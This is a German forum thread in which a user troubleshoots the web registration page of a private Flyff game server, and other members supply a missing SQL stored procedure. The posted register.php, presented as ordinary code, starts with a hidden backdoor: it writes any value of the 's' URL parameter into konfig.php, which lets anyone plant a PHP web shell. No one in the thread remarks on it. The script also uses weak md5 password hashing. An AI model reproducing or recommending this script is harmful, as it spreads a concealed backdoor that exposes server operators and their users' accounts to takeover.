Register geht nur Halb

04/28/2012 19:10 kommen13#1
Habe ein Tut von Youtube gemacht
funtz auch alles , dann gehe ich Explorer und gebe 127.0.0.1/register ein
Gehe auf Register/php und nun Kommt auch schon Fett "Register" doch
wo jetzt stehen sollte ID und PW eintragen , sehe ich nicht.
wenn ich webCreateAcc öffne Kommt da ein Error zeile 22, invilad name "webCreateAcc" so in der Art.

USE [ACCOUNT_DBF]
GO
/****** Object: StoredProcedure [dbo].[webCreateAcc] Script Date: 11/14/2010 13:35:58 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO

ALTER PROCEDURE [dbo].[webCreateAcc]
@account VARCHAR(15),
@password VARCHAR(36),
@email VARCHAR(120)

AS

SET NOCOUNT ON

DECLARE @DateActivated AS CHAR(8)

IF NOT EXISTS (SELECT account FROM ACCOUNT_TBL WHERE account = @account) BEGIN
INSERT INTO ACCOUNT_TBL (account, [password], id_no1, id_no2, isuse, member, realname, cash)
VALUES (@account, @password, @password, @password, 'T', 'A', 'F', '0')

SET @DateActivated = CONVERT(CHAR(8), GETDATE()-1, 112 ) --Is the date today - 1
--UPDATE ACCOUNT_TBL_DETAIL SET BlockTime = @DateYesterday WHERE account = @userid
--INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse)
-- VALUES (@account, 'A000', '2', 'F', GETDATE(), '20990101', '20990101', '20050101', 'O')

INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse, email)
VALUES (@account, 'A000', '2', 'F', GETDATE(), @DateActivated, '20990101', '20050101', 'O', @email)

END
--ELSE BEGIN
--print '->Account exists = '
--print @account
--END



UND ODER die REGISTER.PHP =

<center><h1><u>Register:</u></h1>

<center>
<?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}

if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Dein Account wurde erfolgreich erstellt.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}

echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';

?>
</center>





Danke im Vorraus
04/28/2012 21:01 paddelx3#2
Viel zu wenige Infos.

den Inhalt deiner "Register.php" brauchen wir.
dazu noch bitte die Vollständige Error Notice.
Vorher wird dir keiner helfen können.

lg
04/28/2012 22:19 kommen13#3
Bin noch nicht solange auf Epvp, finde einfach nicht raus wie man das verlinkt oder so wie die anderen das haben. Sry.
04/28/2012 22:31 Shyo.#4
ömm noch ne frage ist das caali server oder offi?
04/28/2012 22:36 kommen13#5
Sind BloodyFlyff files und DB von Sedrika
04/28/2012 22:42 Crystal-Craft#6
hast die prozedur webcreateacc(.sql) nicht!
04/28/2012 22:50 Shyo.#7
Quote:
Originally Posted by Crystal-Craft View Post
hast die prozedur webcreateacc(.sql) nicht!
Jop fällt mir auch grad auf
04/28/2012 22:59 kommen13#8
Ich zeihe die webCreateAcc in die datenbank, öffnet sich alles so wie da oben, drüche auf
Ausführen und dies komt:

Meldung 208, Ebene 16, Status 6, Prozedur weCreateAcc, Zeile 22
Ungültiger ObjektName 'dbo.webCreateAcc'.


Wie bekomme ich denn diese Prozedur ??
04/28/2012 23:06 Shyo.#9
füg das in deine db ein und mach ausführen nun müsste es gehen ;)

USE [ACCOUNT_DBF]
GO
/****** Object: StoredProcedure [dbo].[webCreateAcc] Script Date: 11/14/2010 13:35:58 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO

CREATE PROCEDURE [dbo].[webCreateAcc]
@account VARCHAR(15),
@password VARCHAR(36),
@email VARCHAR(120)

AS

SET NOCOUNT ON

DECLARE @DateActivated AS CHAR(8)

IF NOT EXISTS (SELECT account FROM ACCOUNT_TBL WHERE account = @account) BEGIN
INSERT INTO ACCOUNT_TBL (account, [password], id_no1, id_no2, isuse, member, realname, cash)
VALUES (@account, @password, @password, @password, 'T', 'A', 'F', '0')

SET @DateActivated = CONVERT(CHAR(8), GETDATE()-1, 112 ) --Is the date today - 1
--UPDATE ACCOUNT_TBL_DETAIL SET BlockTime = @DateYesterday WHERE account = @userid
--INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse)
-- VALUES (@account, 'A000', '2', 'F', GETDATE(), '20990101', '20990101', '20050101', 'O')

INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse, email)
VALUES (@account, 'A000', '2', 'F', GETDATE(), @DateActivated, '20990101', '20050101', 'O', @email)

END
--ELSE BEGIN
--print '->Account exists = '
--print @account
--END
04/28/2012 23:57 kommen13#10
Mhhh. Der Error kommt zwar nichtmehr Sehe Trotzdem dann das Anmeldeformular , nur Ganz fett REGISTER =(
04/29/2012 00:00 Shyo.#11
dann haste falsch dort eingestellt in der ini bzw datei.. haste ein sql pw? wenn ja kommt als 1 dein SQL-Express name als 2. "sa" 3. dein pw
04/29/2012 00:03 kommen13#12
Ne, hab Windows indifizierung, ohne PW

Muss ich denn nur auf "Neue Abfrage" oder Etwas ersetzen ?
04/29/2012 00:14 Shyo.#13
nein dann nicht dann müsste es normal gehen oder du hast ein Fail script zieh das script von der lc hp
04/29/2012 00:19 kommen13#14
Vllt noch ein Link dazu , hab keine ahnung was LC sein soll ? last chass ?
04/29/2012 00:21 Shyo.#15
nein lost crusade ;)

Link: [Only registered and activated users can see links. Click Here To Register...]